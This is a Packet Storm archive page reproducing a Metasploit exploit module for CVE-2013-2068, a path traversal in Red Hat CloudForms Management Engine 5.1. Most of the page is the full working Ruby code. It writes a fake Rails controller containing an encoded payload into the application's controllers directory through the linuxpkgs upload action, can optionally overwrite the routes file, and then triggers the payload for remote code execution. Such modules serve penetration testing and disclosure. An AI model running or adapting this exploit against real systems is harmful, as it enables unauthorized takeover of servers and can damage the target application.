Twenty Year Anniversary

Red Hat CloudForms Management Engine 5.1 agent/linuxpkgs Path Traversal

Red Hat CloudForms Management Engine 5.1 agent/linuxpkgs Path Traversal
Posted Dec 23, 2013
Authored by Ramon de C Valle | Site metasploit.com

This Metasploit module exploits a path traversal vulnerability in the "linuxpkgs" action of "agent" controller of the Red Hat CloudForms Management Engine 5.1 (ManageIQ Enterprise Virtualization Manager 5.0 and earlier). It uploads a fake controller to the controllers directory of the Rails application with the encoded payload as an action and sends a request to this action to execute the payload. Optionally, it can also upload a routing file containing a route to the action. (Which is not necessary, since the application already contains a general default route.)

tags | exploit
systems | linux, redhat
advisories | CVE-2013-2068
MD5 | 48070b8026fb661ca2872ef418792414

Red Hat CloudForms Management Engine 5.1 agent/linuxpkgs Path Traversal

Change Mirror Download
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize
super(
'Name' => 'Red Hat CloudForms Management Engine 5.1 agent/linuxpkgs Path Traversal',
'Description' => %q{
This module exploits a path traversal vulnerability in the "linuxpkgs"
action of "agent" controller of the Red Hat CloudForms Management Engine 5.1
(ManageIQ Enterprise Virtualization Manager 5.0 and earlier).
It uploads a fake controller to the controllers directory of the Rails
application with the encoded payload as an action and sends a request to
this action to execute the payload. Optionally, it can also upload a routing
file containing a route to the action. (Which is not necessary, since the
application already contains a general default route.)
},
'Author' => 'Ramon de C Valle',
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2013-2068'],
['CWE', '22'],
['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=960422']
],
'Platform' => 'ruby',
'Arch' => ARCH_RUBY,
'Privileged' => true,
'Targets' =>
[
['Automatic', {}]
],
'DisclosureDate' => 'Sep 4 2013',
'DefaultOptions' =>
{
'PrependFork' => true,
'SSL' => true
},
'DefaultTarget' => 0
)

register_options(
[
Opt::RPORT(443),
OptString.new('CONTROLLER', [false, 'The name of the controller']),
OptString.new('ACTION', [false, 'The name of the action']),
OptString.new('TARGETURI', [ true, 'The path to the application', '/']),
OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST'] ])
], self.class
)

register_advanced_options(
[
OptBool.new('ROUTES', [true, 'Upload a routing file. Warning: It is not necessary by default and can damage the target application', false]),
], self.class)
end

def check
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, "ping.html")
)

if res and res.code == 200 and res.body.to_s =~ /EVM ping response/
return Exploit::CheckCode::Detected
end

return Exploit::CheckCode::Unknown
end

def exploit
controller =
if datastore['CONTROLLER'].blank?
Rex::Text.rand_text_alpha_lower(rand(9) + 3)
else
datastore['CONTROLLER'].downcase
end

action =
if datastore['ACTION'].blank?
Rex::Text.rand_text_alpha_lower(rand(9) + 3)
else
datastore['ACTION'].downcase
end

data = "class #{controller.capitalize}Controller < ApplicationController; def #{action}; #{payload.encoded}; render :nothing => true; end; end\n"

print_status("Sending fake-controller upload request to #{target_url('agent', 'linuxpkgs')}...")
res = upload_file("../../app/controllers/#{controller}_controller.rb", data)
fail_with(Failure::Unknown, 'No response from remote host') if res.nil?
register_files_for_cleanup("app/controllers/#{controller}_controller.rb")
# According to rcvalle, all the version have not been checked
# so we're not sure if res.code will be always 500, in order
# to not lose sessions, just print warning and proceeding
unless res and res.code == 500
print_warning("Unexpected reply but proceeding anyway...")
end

if datastore['ROUTES']
data = "Vmdb::Application.routes.draw { root :to => 'dashboard#login'; match ':controller(/:action(/:id))(.:format)' }\n"

print_status("Sending routing-file upload request to #{target_url('agent', 'linuxpkgs')}...")
res = upload_file("../../config/routes.rb", data)
fail_with(Failure::Unknown, 'No response from remote host') if res.nil?
# According to rcvalle, all the version have not been checked
# so we're not sure if res.code will be always 500, in order
# to not lose sessions, just print warning and proceeding
unless res and res.code == 500
print_warning("Unexpected reply but proceeding anyway...")
end
end

print_status("Sending execute request to #{target_url(controller, action)}...")
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, controller, action)
)
end

def upload_file(filename, data)
res = send_request_cgi(
'method' => datastore['HTTP_METHOD'],
'uri' => normalize_uri(target_uri.path, 'agent', 'linuxpkgs'),
"vars_#{datastore['HTTP_METHOD'].downcase}" => {
'data' => Rex::Text.encode_base64(Rex::Text.zlib_deflate(data)),
'filename' => filename,
'md5' => Rex::Text.md5(data)
}
)

return res
end

def target_url(*args)
(ssl ? 'https' : 'http') +
if rport.to_i == 80 || rport.to_i == 443
"://#{vhost}"
else
"://#{vhost}:#{rport}"
end + normalize_uri(target_uri.path, *args)
end
end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

December 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    11 Files
  • 2
    Dec 2nd
    1 Files
  • 3
    Dec 3rd
    18 Files
  • 4
    Dec 4th
    40 Files
  • 5
    Dec 5th
    16 Files
  • 6
    Dec 6th
    50 Files
  • 7
    Dec 7th
    12 Files
  • 8
    Dec 8th
    1 Files
  • 9
    Dec 9th
    1 Files
  • 10
    Dec 10th
    15 Files
  • 11
    Dec 11th
    30 Files
  • 12
    Dec 12th
    25 Files
  • 13
    Dec 13th
    15 Files
  • 14
    Dec 14th
    14 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close